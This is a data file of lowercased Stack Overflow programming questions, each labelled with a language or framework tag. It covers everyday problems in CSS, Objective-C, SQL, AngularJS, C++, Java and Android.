seamless horizontal columns  i know how to create horizontal columns with inline-blocks as proposed <a href= https://stackoverflow.com/questions/19502580/css-columns-order-horizontally >here</a>  but using this technique the items on the second line are displayed with a vertical gap when having different heights.    i don t want the vertically gaps between the tiles. how to get rid of them with only using css     what i now have looks like this:   <pre><code>&lt;div class= tilecontainer &gt;     &lt;div class= tile &gt;         &lt;div class= content &gt;             &lt;strong&gt;#1&lt;/strong&gt;             &lt;p&gt;ut augue urna  tristique ut turpis quis  lobortis iaculis libero. cras maximus rhoncus enim vitae blandit. maecenas elit elit  vulputate sit amet velit volutpat  vulputate egestas sem.&lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= tile &gt;         &lt;div class= content &gt;             &lt;strong&gt;#2&lt;/strong&gt;             &lt;p&gt;vestibulum ipsum quam  faucibus nec aliquet eget  molestie vel urna. integer et dui mi.&lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   with  this css:   <pre><code>.tilecontainer{     width: 100%; } .tile{     width:33.33333333%;     display: inline-block;     vertical-align: top;     margin: -2px; } </code></pre>  <blockquote>    <strong>jsfiddle:</strong> <a href= http://jsfiddle.net/tg1a905r/1/  rel= nofollow noreferrer >http://jsfiddle.net/tg1a905r/1/</a>  </blockquote>,css
objective c can t read text file when running on iphone  i ve made an app that is relying on reading and writing a plist-file. this works well when i m running the app in the iphone simulator  but doesn t work at all when i m testing it on my iphone. i ve also made a pre made text file in .txt format with demo data. the app works when i m running this file.      all the reading and writing is done in a class that looks like this:   <pre><code>    -(void)savearray:(nsmutablearray *)inputarray {     albumarray = inputarray; nsarray *path = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentfolder = [path objectatindex:0];     nsstring *filepath = [documentfolder stringbyappendingformat:@ albums.plist ];     [albumarray writetofile:filepath atomically:yes]; } </code></pre>   <strong>update</strong>: changed the string from  stringbyappendingformat  to  stringbyappendingpathcomponent  and it seems to work now. thanks a lot! you guys made my day made.,objective-c
access is denied while getting remote machine information in c#  i m trying to get os system from a remote machine connected in a lan ..  i m using the following code ..  i m getting an error  access is denied  can any one help me please ..  thanx in advance   <pre><code>managementscope scope = new managementscope(@ \\ + ip + \\root\\cimv2 ); selectquery query = new selectquery(); query.querystring =  select  * from win32_operatingsystem ; managementobjectsearcher searcher = new managementobjectsearcher(scope  query); managementobjectcollection querycollection = searcher.get(); </code></pre>,c#
confusing error regarding mysql table creation  this is the sql line i m using to create the table:   <pre><code>create table users (      id int not null auto_increment primary key       firstname varchar(255)       surname varchar(255)       email varchar(255) unique       username varchar(255) unique       passwordhash char(60)       admin bit  ) </code></pre>   should be pretty generic  however  i m getting the error  specified key was too long; max key length is 767 bytes     which just leaves me wondering  what key is too long  the longest is supposedly 255b  no,mysql
is it possible to get line numbers for stack traces on .net cf 2.0 or 3.5  i have a .net cf 2.0 application and am using log4net to log errors.  i get a stack trace  but it doesn t have any line numbers.  i noticed that it doesn t appear to deploy the pdb file to the device  so i tried to manually place it in the same directory as the exe.  but that didn t help.,.net
making the getter/setter of an int  <pre><code>@property (retain) int myinteger; </code></pre>   that throws me an error because apparently <code>int</code> is not considered an object... but i want to get the advantage of creating a getter/setter method with the <code>@synthetize</code> thing  but with an <code>int</code>. how could i achieve so  is there an equivalent,objective-c
angular refresh current page - problems  home.html is a template with two fieldsets. i use ng-show to make the first fieldset visisble when the page loads and when a user clicks a button the other fieldset is made visible and the first one hidden. this is accomplished by using a variable  preview  like so (this is a jsfiddle) :   <pre><code>&lt;div ng-app= app &gt;     &lt;div ng-controller= maincontroller &gt;        &lt;fieldset ng-show= !preview &gt;            &lt;p&gt;this is fieldset 1&lt;/p&gt;            &lt;button ng-click= toggleit() &gt;toggle&lt;/button&gt;        &lt;/fieldset&gt;        &lt;fieldset ng-show= preview &gt;            &lt;p&gt;this is fieldset 2&lt;/p&gt;        &lt;/fieldset&gt;         &lt;a href= #  ng-click= returnit() &gt;home&lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and the controller is like:   <pre><code>    angular.module( app   []). controller( maincontroller   [ $scope   function ($scope) {     $scope.preview = false;        $scope.toggleit = function(){      $scope.preview = true;        }       $scope.returnit = function(){       location.reload();       }    }]); </code></pre>   in jsfiddle it works fine but when i use the  home  link in my angular app which is:   <pre><code>&lt;a href= / &gt;home&lt;/a&gt; </code></pre>   and this is picked up by the app.routes.js file   <pre><code>.when( /   {             templateurl :  app/views/pages/home.html               controller:  maincontroller               controlleras:  main          })  </code></pre>   nothing happens -  fieldset 2 is still visible rather than fieldset 1. i was expecting that <code>$scope.preview</code> would be set to false as this is the first line in the controller and that would make the first fieldset visible again. when i do a browser refresh it works but not using the routing. i have tried <code>location.reload();</code> (and this works in the fiddle)  but when i apply it inside the app controller i get typeerror: <code>$location.reload</code> is not a function.    i have tried <code>$route.reload()</code> which sends it into an infinite loop  and <code>window.location.reload()</code> which keeps reloading.    is there a simple way i can achieve a browser-like refresh of the page via the routing,angularjs
problem with an array  a property and nslog  so i have this block of code it adds players to an nsmutablearray in my viewcontroller playerlist. for some reason i cannot print all the playernames to the log. am i doing something wrong  i keep getting an error that says member refrence <code>struc objc_object</code> is a pointer. can anyone see what im doing wrong     p1 p2 p3 p4 are all nsstring objects that just have the players names.    the addplayer method creates a new player object with a property named playername.   <pre><code>- (ibaction)addplayerbutton:(id)sender {     [self.playerlist addobject:[self addplayer:p1]];     [self.playerlist addobject:[self addplayer:p2]];     [self.playerlist addobject:[self addplayer:p3]];     [self.playerlist addobject:[self addplayer:p4]];     for (id element in playerlist) {         nslog(element.playername);     } } </code></pre>,objective-c
php code to find city state and country name using pincode  is there any api or anything which provides city state and country name when pincode is given.please share if you have any solution    thanks in advance,php
facebook loginbutton issues  i have a reader application which can post text to facebook .i already done that i have a login-button as same as the facebook-login button the user can login there and i retrieve the username from the facebook and display instead of loge-out button that means when the user login and came back the login-button title changes to loge-out thats the default behavior of the facebook connect button but i changed a little and set the title as username of the correspondent user.my problem is  after login to the facebook the the title of the button changes to username but after redirected to some other page of the application and comes back it doesn t show the username the button title shows login.i tried a lot to solve this i even uses the nsuserdefault but no luck my entire code for this is   <pre><code>- (ibaction)loginbuttontapped:(id)sender {     nsstring *appid = @ hidden1234 ;     nsstring *permissions = @ publish_stream ;      if (_logindialog == nil) {         self.logindialog = [[[fbfunlogindialog alloc] initwithappid:appid requestedpermissions:permissions delegate:self] autorelease];         self.logindialogview = _logindialog.view;      }      if (_loginstate == loginstatestartup || _loginstate == loginstateloggedout) {         _loginstate = loginstateloggingin;         [_logindialog login];          [[nsuserdefaults standarduserdefaults] setbool:yes forkey:@ fb_logged ];     } else if (_loginstate == loginstateloggedin) {         _loginstate = loginstateloggedout;            _btnfacebookmain.enabled =no;         [_logindialog logout];         [[nsuserdefaults standarduserdefaults] setbool:no forkey:@ fb_logged ];     }      [self refresh];   } -(ibaction)_clickbtnfaacbukmain:(id)sender {     statusviewcontroller *detailviewcontroller = [[statusviewcontroller alloc] initwithnibname:@ statusviewcontroller  bundle:nil];     detailviewcontroller.yourstringproperty = localstringvalue;     detailviewcontroller.modaltransitionstyle = uimodaltransitionstylecoververtical;     [self presentmodalviewcontroller:detailviewcontroller animated:yes];     [uiview commitanimations];     [detailviewcontroller release];     uiview *popview = (uiview *)[self.view viewwithtag:106];      //viewwithtag number should be same as used while allocating     [popview removefromsuperview];   } - (void)refresh {     if (_loginstate == loginstatestartup || _loginstate == loginstateloggedout) {         _loginstatuslabel.text = @ not connected to facebook ;         [[nsuserdefaults standarduserdefaults] setbool:no forkey:@ fb_logged ];         [_loginbutton settitle:@   forstate:uicontrolstatenormal];         uiimage *buttonimage = [uiimage imagenamed:@ settings_connect1-facebook-icon ];         [_loginbutton setbackgroundimage:buttonimage forstate:uicontrolstatenormal];           //[[nsuserdefaults standarduserdefaults]removeobjectforkey:@ fb_login_status ];          _loginbutton.hidden = no;     } else if (_loginstate == loginstateloggingin) {         _loginstatuslabel.text = @ connecting to facebook... ;         _loginbutton.hidden = yes;         uiimage *buttonimage = [uiimage imagenamed:@ settings_connect1-facebook-icon ];         [_loginbutton setbackgroundimage:buttonimage forstate:uicontrolstatenormal];       } else if (_loginstate == loginstateloggedin) {         _loginstatuslabel.text = @ connected to facebook ;         nsstring *username = [_loginbutton titleforstate:uicontrolstatenormal];         [_loginbutton settitle:username forstate:uicontrolstatenormal];         [_loginbutton setbackgroundimage:nil forstate:uicontrolstatenormal];        [[nsuserdefaults standarduserdefaults] setbool:yes forkey:@ fb_logged ];         _loginbutton.hidden = no;     }    }  - (void)getfacebookprofile {     nsstring *urlstring = [nsstring stringwithformat:@ https://graph.facebook.com/me access_token=%@   [_accesstoken stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]];     nsurl *url = [nsurl urlwithstring:urlstring];     asihttprequest *request = [asihttprequest requestwithurl:url];     [request setdidfinishselector:@selector(getfacebookprofilefinished:)];      [request setdelegate:self];     [request startasynchronous]; }  #pragma mark fb responses  - (void)getfacebookprofilefinished:(asihttprequest *)request {     // use when fetching text data     nsstring *responsestring = [request responsestring];     nslog(@ got facebook profile: %@   responsestring);      nsmutabledictionary *responsejson = [responsestring jsonvalue];         nsstring *username;     nsstring *firstname = [responsejson objectforkey:@ first_name ];     nsstring *lastname = [responsejson objectforkey:@ last_name ];     if (firstname &amp;&amp; lastname) {         username = [nsstring stringwithformat:@ %@ %@   firstname  lastname];     } else {         username = @ mysterious user ;     } //[[nsuserdefaults standarduserdefaults] setobject:@ username  forkey:@ fb_login_status ]; [_loginbutton settitle:username forstate:uicontrolstatenormal];      [self refresh];     }   #pragma mark fbfunlogindialogdelegate  - (void)accesstokenfound:(nsstring *)accesstoken {     nslog(@ access token found: %@   accesstoken);     self.accesstoken = accesstoken;      _loginstate = loginstateloggedin;     [self dismissmodalviewcontrolleranimated:yes];     [self getfacebookprofile];      [self refresh]; }  - (void)displayrequired {     [self presentmodalviewcontroller:_logindialog animated:yes]; }  - (void)closetapped {     [self dismissmodalviewcontrolleranimated:yes];     _loginstate = loginstateloggedout;             [_logindialog logout];     [self refresh]; } </code></pre>   and in viewwillapper method   <pre><code>bool loggedd = [[nsuserdefaults standarduserdefaults] boolforkey:@ fb_logged ]; if (loggedd == yes) {     _btnfacebookmain.enabled = yes;     nsstring *username = [_loginbutton titleforstate:uicontrolstatenormal];     [_loginbutton settitle:username forstate:uicontrolstatenormal];      //[self refresh]; } else {     [_loginbutton settitle:@   forstate:uicontrolstatenormal];     _btnfacebookmain.enabled =no;    /* uiimage *buttonimage = [uiimage imagenamed:@ settings_connect1-facebook-icon ];     [_loginbutton setbackgroundimage:buttonimage forstate:uicontrolstatenormal];*/   } </code></pre>   please look into this code and help me to solve this. thanks in advance.,iphone
what is the solution for android avd struggling for opening  i installed eclipse adt bundle . first time the avd is working fine . i can go through all option in avd like settings  adding goolge account. but once i opened any web page in my internet explorer page  the avd will be gone.it becomes very slow to open again. please any one guide me in this,android
php code that splits the file name  and rename it with contents in the file  i have many files  and some of which contain  5010  in there name  usually when i see these numbers  i open the file and get the code next to the name ref and paste it instead of the 5010  and send it to the server  however i m suppose to do it through a php script that would be able to do this task on its own  any ideas on where to start with this      for example my file name is    <pre><code> hasdbgf.5010.dfgur.fde  </code></pre>   i want to remove the  5010   so i open the file:   <pre><code>dtm*405*2022~ n1*pr*aea~ n3*151 avenue~ n4*06156~ ref*2u*60054~ </code></pre>   i see that after ref*2u is  60054   so i rename it:   <pre><code> hasdbgf_60054_dfgur.fde  </code></pre>,php
how to check all array elements with each others in javascript  <pre><code>let me explain my question with examples: // let arr = [1 2 3 4 5]; i would like to compare all of them: 1 === 2 1 === 3 1 === 4 1 === 5 2 === 3 2 === 4 2 === 5 3 === 4 3 === 5 4 === 5 </code></pre>   i am trying to use if statement if true  do this   that would be great if you guys can solve this problem most efficient way  really appreacite it. thank you an advance,javascript
one macro replace issue <pre><code>#include &lt;stdio.h&gt;  #define amp_assert( expr ) if( !(expr) ) { \     printf( ** assertion failed: \   #expr  \  at %s:%d %s()\n   __file__  __line__  __function__);\     }  int main(int argc  const char* argv[]) {     int a = 1;     amp_assert(a % 8 == 0);     return 0; } </code></pre>   the below warning will happen in gcc and msvc    <pre><code>macrotest.cpp: in function ‘int main(int  const char**)’: macrotest.cpp:4:95: warning: unknown conversion type character ‘ ’ in format [-wformat=] </code></pre>   how to get rid of this warning  let ‘%’ in macro replace to be replaced correctly.,c++
currency calculator sql server 2012  i have two tables  products and exchangerates  i am trying to calculate the exchange rate. i have created many calculation queries in sql but for some reason this doesn t seem to output anything  i have tried formatting the query in many different ways  maybe i m not seeing it right. but so far i have   <pre><code>select exchangerates.rate * sum(products.cost) as total from exchangerates inner join products on products.productsid=exchangerates.id where exchangerates.currencycode =  eur  group by exchangerates.rate </code></pre>   i think its when i put the where clause in  because without it  it calculates(but only the last entered rate)  but i need to specify which rate i want it to calculate.    exchange rates table consists   <pre><code>id (int)  currencycode(nchar (3)  rates(decimal  (10 5) --data in this table id 1  currecnycode: eur  rates: 1.26 </code></pre>   products table   <pre><code>productid  itemdescript(nvarchar)  currecncycode  cost(decimal(10 2) </code></pre>   outputs nothing although i have data in both my tables    <strong>updated</strong>    below answer is correct  but i also noticed that i didnt have  gbp  in my exchangerates table which is why it wouldnt calculate. i wanted to calculate gbp to eur but i guess it needed gbp in exchangerates table,sql
in ios  what is type of buf return by  sysctlbyname( net.inet.tcp.pcblist   buf  &len  0  0)    i want to get list of tcp connection on my iphone. i got following code on <br> <a href= https://stackoverflow.com/questions/8176839/how-to-get-tcp-udp-opening-port-list-on-iphone-by-objective-c >how to get tcp/udp opening port list on iphone by objective-c </a><br> <a href= https://stackoverflow.com/questions/6527065/how-to-list-tcp-udp-connections-in-ios-4 >how to list tcp/udp connections in ios 4</a>   <pre><code>size_t len = 0; if (sysctlbyname( net.inet.tcp.pcblist   0  &amp;len  0  0) &lt; 0) {     perror( sysctlbyname ); } else {     char *buf = malloc(len);     sysctlbyname( net.inet.tcp.pcblist   buf  &amp;len  0  0);     nsdata *data = [nsdata datawithbytesnocopy:buf length:len];     nslog(@ data = %@   data); } </code></pre>   but i am unable to interpret variable  buf  as it points to some structure and not string.  what could be the type of buf  can someone help me...    thanks in advance!!,ios
newbie in sql. fetch messages and unprocessed endpoints  i need the message ids and endpoints of messages from whom endpoints in multicast_message_recovery_processed is not in the list of endpoints of the multicast_endpoints table  for a given prcs_id  prcs_run_id  multicast_id.    data -    <strong>multicast_endpoints</strong>    <pre><code>prcs_id prcs_run_id multicast_id endpoint_id  100     1           multix       desta  100     1           multix       destb  100     1           multix       destc  100     1           multix       destd  100     1           multiy       destx  100     1           multiy       desty </code></pre>   <strong>multicast_message_recovery_processed</strong>   <pre><code>prcs_id prcs_run_id multicast_id message_id endpoint_id  100     1           multix       1          desta  100     1           multix       2          destb  100     1           multix       1          destc  100     1           multiy       1          destx </code></pre>   for a given <code>prcs_id = 100  prcs_run_id = 1  multicast_id = multix</code>  the query should return:   <pre><code>1 destb 1 destd 2 desta 2 destc 2 destd </code></pre>   this essentially means that message 1 has not reached <code>destb</code> and <code>destd</code> while message 2 has not reached <code>desta</code>  <code>destc</code> and <code>destd</code>.   <pre><code> create table multicast_message_recovery_processed     (       prcs_id character varying not null        prcs_run_id bigint not null        multicast_id character varying not null        message_id bigint        endpoint_id character varying not null        constraint multicast_message_recovery_processed_pkey primary key (prcs_id   prcs_run_id   multicast_id   endpoint_id )     )      create table multicast_endpoints     (       prcs_id character varying not null        prcs_run_id bigint not null        multicast_id character varying not null        endpoint_id character varying not null        constraint multicast_endpoints_pkey primary key (prcs_id   prcs_run_id   multicast_id   endpoint_id )     ) </code></pre>,sql
public class no known class method   hi i want that this code is a public class:   <pre><code>+ (void) alcsubstract {     nslog(@ tes );     if (alkold == 0) {      } else {         promille = 0;         alkold = alkold - (0.1/3600);         [self calculation];     } } </code></pre>   but now there is an error at <code>[self calculation]</code> error: no known class method for selector calc...    calculation looks like this:    <pre><code>- (void)calculation {     nslog(@ starting calcultion );     if (mann == true) {         promille = alkgramm/(0.7*gewicht);     } else {         promille = alkgramm/(0.6*gewicht);     }     //nslog(@ %f   promille);     promilleout.textcolor = [uicolor greencolor];     if (promille &gt;= 1) {         promilleout.textcolor = [uicolor yellowcolor];     } else if (promille &gt;= 1.5){         promilleout.textcolor = [uicolor redcolor];     }     promilleout.text = [nsstring stringwithformat:@ %f   alkold + promille];     alkold = [promilleout.text floatvalue];     [self timecalc];     alkgramm = 0;  } </code></pre>   `,objective-c
a case label may only be used within a switch  i am new to coding and i need some help. on the  case : a  statement my compiler shows me an error  a case label may only be used within a switch  but there is a switch statement above. what s the problem and how can i fix it    <pre><code>#include  pch.h  #include &lt;iostream&gt; #include &lt;vector&gt;  int main() { char choice; int number_which_will_be_added_to_vector {}; std::vector &lt;int&gt; numbers {};  do {     std::cout &lt;&lt;  \np - print numbers  &lt;&lt; std::endl;     std::cout &lt;&lt;  a - add a number  &lt;&lt; std::endl;     std::cout &lt;&lt;  m - display mean of the numbers  &lt;&lt; std::endl;     std::cout &lt;&lt;  s - display the smallest number  &lt;&lt; std::endl;     std::cout &lt;&lt;  l - display the largest number  &lt;&lt; std::endl;     std::cout &lt;&lt;  q - quit  &lt;&lt; std::endl &lt;&lt; std::endl;     std::cout &lt;&lt;  enter your choice:  ;     std::cin &gt;&gt; choice;      switch(choice)         case  p  :         case  p  :             std::cout &lt;&lt;  [ ;             for (unsigned int i {0}; i &lt; numbers.size(); i++)             {                 std::cout &lt;&lt;     &lt;&lt; numbers.at(i) &lt;&lt; std::endl;             }             std::cout &lt;&lt;  ] ;             if(numbers.size() == 0)             {                 std::cout &lt;&lt;   - the list is empty  &lt;&lt; std::endl;             }             break;         case  a  :         case  a  :             std::cout &lt;&lt;  enter the integer to add to the list:  ;             std::cin &gt;&gt; number_which_will_be_added_to_vector;             numbers.push_back(number_which_will_be_added_to_vector);  }while(choice !=  q  &amp;&amp; choice !=  q ); </code></pre>   },c++
rechability issue with framework  i an have app which has a social login which i ve implemented. but when i add the rechability class in my project it throws errors   <pre><code>    ld: warning: ignoring file /volumes/backup/running app/mahlati/mahalati/mahalati/systemconfiguration.framework/systemconfiguration.tbd  missing required architecture x86_64 in file /volumes/backup/running app/mahlati/mahalati/mahalati/systemconfiguration.framework/systemconfiguration.tbd ld: warning: ignoring file /volumes/backup/running app/mahlati/mahalati/mahalati/safariservices.framework/safariservices.tbd  missing required architecture x86_64 in file /volumes/backup/running app/mahlati/mahalati/mahalati/safariservices.framework/safariservices.tbd undefined symbols for architecture x86_64:    _objc_class_$_ssreadinglist   referenced from:       objc-class-ref in googlesignin(please_link_safariservices.framework_.o)    _scnetworkreachabilitycreatewithaddress   referenced from:       +[reachability reachabilitywithaddress:] in reachability.o    _scnetworkreachabilitycreatewithname   referenced from:       +[reachability reachabilitywithhostname:] in reachability.o       -[gsdk_gtmoauth2signin startreachabilitycheck] in googleauthutilities(gtmoauth2signin.o)    _scnetworkreachabilitygetflags   referenced from:       -[reachability connectionrequired] in reachability.o       -[reachability currentreachabilitystatus] in reachability.o    _scnetworkreachabilityschedulewithrunloop   referenced from:       -[reachability startnotifier] in reachability.o       -[gsdk_gtmoauth2signin startreachabilitycheck] in googleauthutilities(gtmoauth2signin.o)    _scnetworkreachabilitysetcallback   referenced from:       -[reachability startnotifier] in reachability.o       -[gsdk_gtmoauth2signin startreachabilitycheck] in googleauthutilities(gtmoauth2signin.o)       -[gsdk_gtmoauth2signin stopreachabilitycheck] in googleauthutilities(gtmoauth2signin.o)    _scnetworkreachabilityunschedulefromrunloop   referenced from:       -[reachability stopnotifier] in reachability.o       -[gsdk_gtmoauth2signin stopreachabilitycheck] in googleauthutilities(gtmoauth2signin.o) ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   <br>i am added <strong>systemconfiguration.framework</strong> and <strong>safariservices.frameworks</strong>    i have also deleted <strong>derived data</strong> but the error is not resolved and i cannot identify the issue.    tomorrow all things working very well. but from today it will not.    please help me out.,ios
sql order by syntax error <pre><code>string selectquery =   select * from barupdate where bar_address like %   +s_area+  % order by bar_name ; </code></pre>   i like to get entire values of address if the given address matched in any of substring of stored address in my application    i got error in both % and orderby,android
isdigit returning false for integer  i am opening a file  testfile  and splitting it at commas. so far so good. the second value in one line is  30  the line is  this is a  30  test  i can verify that it is splitting correctly because i can print parts[1] and it prints  30   but why is repeats.isdigit() returning false when this value is 30    <pre><code>with open( testfile ) as fp:     for line in fp:         parts = line.split(     )          repeats = parts[1]         print repeats.isdigit()         print parts[1] </code></pre>,python
mysql query word link  i want to link two word in statement in query like:   <pre><code>left join table as tt on tt.object=’someword#’key1.key </code></pre>   how i can do this  we want to find someword#23   offcorse where we got key1.key we got key 23,mysql
locking a jail break iphone on app exit  i want to create an app on jail broke iphone which  on exit should lock the iphone automatically. can anyone please give me any piece of code which can help in this regard.    thanks,iphone
sql with not working  i have created a query but it is not working. can anyone explain this to me  thanks!   <pre><code>with    rows as     (     select   *  row_number() over (order by dtdeliverydate) as rn     from    tcheckrecipient     )  select avg(avarage) from(      select tcheck.icheckid  avg(datediff(minute  mc.dtdeliverydate  mp.dtdeliverydate))  as avarage from    rows mc left join tcheck on tcheck.icheckid = mc.icheckid  join    rows mp on      mc.rn = mp.rn - 1 group by tcheck.icheckid ) </code></pre>   when i was doing   <pre><code>with    rows as         (         select   *  row_number() over (order by dtdeliverydate) as rn         from    tcheckrecipient         )  select tcheck.icheckid  avg(datediff(minute  mc.dtdeliverydate  mp.dtdeliverydate))  as avarage from    rows mc left join tcheck on tcheck.icheckid = mc.icheckid  join    rows mp on      mc.rn = mp.rn - 1 group by tcheck.icheckid </code></pre>   it works well. but when i try to make the average of those returns  and i can not  i d be happy if someone would answer me how to do it thanks,sql
stuck on java programming homework assignment  i am working on a problem for homework in a java programming course  and i am stuck. i will tell you upfront that i am by no means an expert  and don t know much about java or programming in general.    the issue that i am having is acutally not with a problem for my homework  but with an example from the book that i cannot seem to get to work. the section of the book is titled   <blockquote>    writing an application that uses the <code>event</code> class  </blockquote>   the book has the following example in this section that it instructs the student to copy and try in their ide to see how the concept of an event class works:   <pre><code>import java.util.scanner;  public class createeventobject {      public static void main(string[] args)     {      int eventtype;     string chosenmanager =   ;     double chosenrate = 0;     event scheduledevent = new event();     final int private_code = 1;     final int corporate_code = 2;     final int nonprofit_code = 3;     final string private_manager =  dustin britt ;     final string corp_manager =  carmen lindsey ;     final string nonprofit_manager =  robin armenetti ;     final double private_rate = 47.99;     final double corp_rate = 75.99;     final double nonprofit_rate = 40.99;     boolean choiceisgood = true;      scanner input = new scanner(system.in);     system.out.println( what type of event are you scheduling  );     system.out.print( enter   + private_code +   for private    + corporate_code +   for corporate  or   + nonprofit_code +   for nonprofit...  );     eventtype = input.nextint();      if(eventtype == private_code)     {         chosenmanager = private_manager;         chosenrate = private_rate;     }     else         if(eventtype == corporate_code)         {             chosenmanager = corp_manager;             chosenrate = corp_rate;         }         else             if(eventtype == nonprofit_code)             {                 chosenmanager = nonprofit_manager;                 chosenrate = nonprofit_rate;             }             else                 choiceisgood = false;      if(choiceisgood)     {         scheduledevent.settype(eventtype);         scheduledevent.setmanager(chosenmanager);         scheduledevent.setrate(chosenrate);     }     else         system.out.println( you entered   + eventtype +   which is invalid. );      system.out.println( scheduled event: );     system.out.println( type:   + scheduledevent.gettype() +   manager:   + scheduledevent.getmanager() +   rate:   + scheduledevent.getrate() +   per hour );     }  } </code></pre>   when i try to compile the code above  i get the following error from the ide:   <pre><code>createeventobject.java:12: error: cannot find symbol     event scheduledevent = new event();     ^   symbol:   class event   location: class createeventobject createeventobject.java:12: error: cannot find symbol </code></pre>   it says the class event is the issue  but according to the book  that s a valid class...    i am using jgrasp on windows 7 professional 64bit and jdk 1.70.    i think it is weird that an example from the book doesn t compile correctly  but it isn t. i am probably missing something really easy  but i can t see anythign that is wrong.    any help or direction would be appreciated. thanks in advance for the help.,java
contentresolver.query: cursorindexoutofboundsexception  i m using a function from microsoft face recognition sample app.   <pre><code>// get the rotation angle of the image taken. private static int getimagerotationangle(         uri imageuri  contentresolver contentresolver) throws ioexception {     int angle = 0;     cursor cursor = contentresolver.query(imageuri              new string[] { mediastore.images.imagecolumns.orientation }  null  null  null);     if (cursor != null) {         if (cursor.getcount() == 1) {             cursor.movetofirst();             angle = cursor.getint(0);         }         cursor.close();     } else {         exifinterface exif = new exifinterface(imageuri.getpath());         int orientation = exif.getattributeint(                 exifinterface.tag_orientation  exifinterface.orientation_normal);          switch (orientation) {             case exifinterface.orientation_rotate_270:                 angle = 270;                 break;             case exifinterface.orientation_rotate_180:                 angle = 180;                 break;             case exifinterface.orientation_rotate_90:                 angle = 90;                 break;             default:                 break;         }     }     return angle; } </code></pre>   it works fine in their app  but it throws android.database.cursorindexoutofboundsexception: requested column: 0  # of columns: 0 in the line:   <pre><code>angle = cursor.getint(0); </code></pre>   the image comes from camera and i have verified that the imageuri is correct. however  the count of cursor is 1  and i can t get anything from it. does anyone know why     update:    content of dump cursor to string   <pre><code>&gt;&gt;&gt;&gt;&gt; dumping cursor android.content.contentresolver$cursorwrapperinner@d830286                                                     0 {                                                        _display_name=img_344595033.jpg                                                        _size=3335837                                                     }                                                     &lt;&lt;&lt;&lt;&lt; </code></pre>   in the sample app  they used uri to process the temporarily saved taken photo  but i used file provider since i have sdk 25. it seems that the cursor should be null  but the file provider makes it contains something.    solved:    i replaced the getcount by getcolumncount  in case that the cursor is empty but getcount returns 1.,android
angularjs how to dynamically split list in multiple columns  i have a number of li items which i want evenly distributed across 3 different columns. so i need the 1st third of the list items to be shown in the first ul  the next third in the 2nd ul etc.    right know my approach is somewhat static:   <pre><code>&lt;ul class= small-12 medium-4 columns &gt;   &lt;li ng-repeat= skill in skills.development | slice:0:10 &gt;     {{ skill.name }}   &lt;/li&gt; &lt;/ul&gt; &lt;ul class= small-12 medium-4 columns &gt;   &lt;li ng-repeat= skill in skills.development | slice:10:21 &gt;     {{ skill.name }}   &lt;/li&gt; &lt;/ul&gt; &lt;ul class= small-12 medium-4 columns &gt;   &lt;li ng-repeat= skill in skills.development | slice:21:32 &gt;     {{ skill.name }}   &lt;/li&gt; &lt;/ul&gt; </code></pre>   i create the 3 rows in my template and then i created a custom filter that slices the list so i can obtain the first 11 elements  the next 11 elements and so forth. problem is that the number of rows in each ul is not assigned dynamically like so:   <pre><code>math.ceil(skills.development.length / 3) </code></pre>   so if i have more elements i will have to manually change the number of rows. filtering is an issue as well. imagine that i search for a word with 5 matches in first column and one in the 2nd column. then i would have completely uneven column sizes. the length should be recalculated dynamically when i filter the list.    ideally not only the number of rows in a column is calculated dynamically  but also the number of columns. so if there are more than say 15 elements it should render three columns  but if there is only 10 elements 2 columns will look better (as there is only 5 elements in each). and if there are less than 5 elements only one column will be rendered.    i figured that i should either try to solve it in the view or make some sort of helper function similar to the custom filter function i already wrote. but how might i do that,angularjs
make project into exe that works without java installed  right now im in a course in agile development and at our demo it is an demand that<br> the project is an exe and it should work without java installed.  i tried to talk to my teacher but he wont budge on the demand so is there anyway that i can make my project into and exe that can be executed without java installed.    sidenote: my last resort is to make an installer that force him to install java and then run the exe!,java
group css classes in one  i already tried combining two css classes in one but i could not. does anyone know how to do it     .fontsize { font-size: small; }<br/> .color1 { color: red;}<br/> .color2 {color: blue;}<br/> .textred { <strong>combine .fontsize + .color1</strong> }<br/> .textblue { <strong>combine .fontsize + .color2</strong> }<br/>   <pre><code>&lt;div class= textblue &gt;example&lt;/div&gt; &lt;div class= textred &gt;example red&lt;/div&gt; </code></pre>   i did not want to use:   <pre><code>&lt;div class= fontsize color1 &gt;example&lt;/div&gt; </code></pre>,css
how does a dotnetcore console app reference an executable in the solution   i m really new to the new .net core framework and struggling with how libraries and executables are handled now. i have a solution with two projects  the main console app  and an exe project. i m trying to launch the exe from my main console app. in the past  all projects in a solution were built to a bin directory.     now that .net core does a lot of work in memory  there s no executable unless you build with the new tooling  dnx/dotnet. on the properties page there is an option to output on build  but this creates a dll with a batch file to launch it.    i m trying to figure out if its possible to build an exe at build time like we used to be able to do so i can test like it will be in production  with built exes and not dlls.,.net
how to count initialized fields in c# method   my class is like:   <pre><code>public class person {     public string name { get; set; }     public string surname { get; set; }     public string nickname{ get; set; }      public person getpersondata()     {         return new person()         {             name =  chris               surname =  topher          };     } } </code></pre>   how can i count elements in getpersondata() method  i was using getproperties a bit  but then  when i have some more methods with initialization of others variables  then it does not work as i would like to. i need to get exact number of elements there. thank you for any help!,c#
pass java.lang.object as parameter  i know that passing a an object is not a good practise. but in this case it seems the best solution to me.   <pre><code>public void dosomething(final object obj) {     // some code     ...     if (obj instanceof inputstream) {             document = pddocument.load((inputstream) obj);     } else if (obj instanceof file) {         document = pddocument.load((file) obj);     } else {         throw new illegalargumentexception( argument must be an instance of   + inputstream.class.getname() +   or   +     + file.class.getname() +  . );     // more code     ...     } } </code></pre>   an alternative solution would have more duplicated code (all the line before and after <code>pddocument.load(obj);</code>)   <pre><code>public void dosomething(final inputstream obj) {     // some code     ...     document = pddocument.load(obj);     // more code     ...     } }  public void dosomething(final file obj) {     // some code     ...     document = pddocument.load(obj);     // more code     ...     } } </code></pre>   due to the duplicated code i prefer the first solution.    <strong>do you know any better solution to solve this problem </strong>,java
how to find resolution of video/image file in android  i want to know what is the resolution(height  width) of my media file (video/image) in android.    i have my file path and it can be stored in internal or external storage.    i came across some apis like <code>mediastore</code>  <code>media</code> etc. but don t know how to use them.    can anyone tell me what is best efficient way to retrieve this meta data with least overhead,android
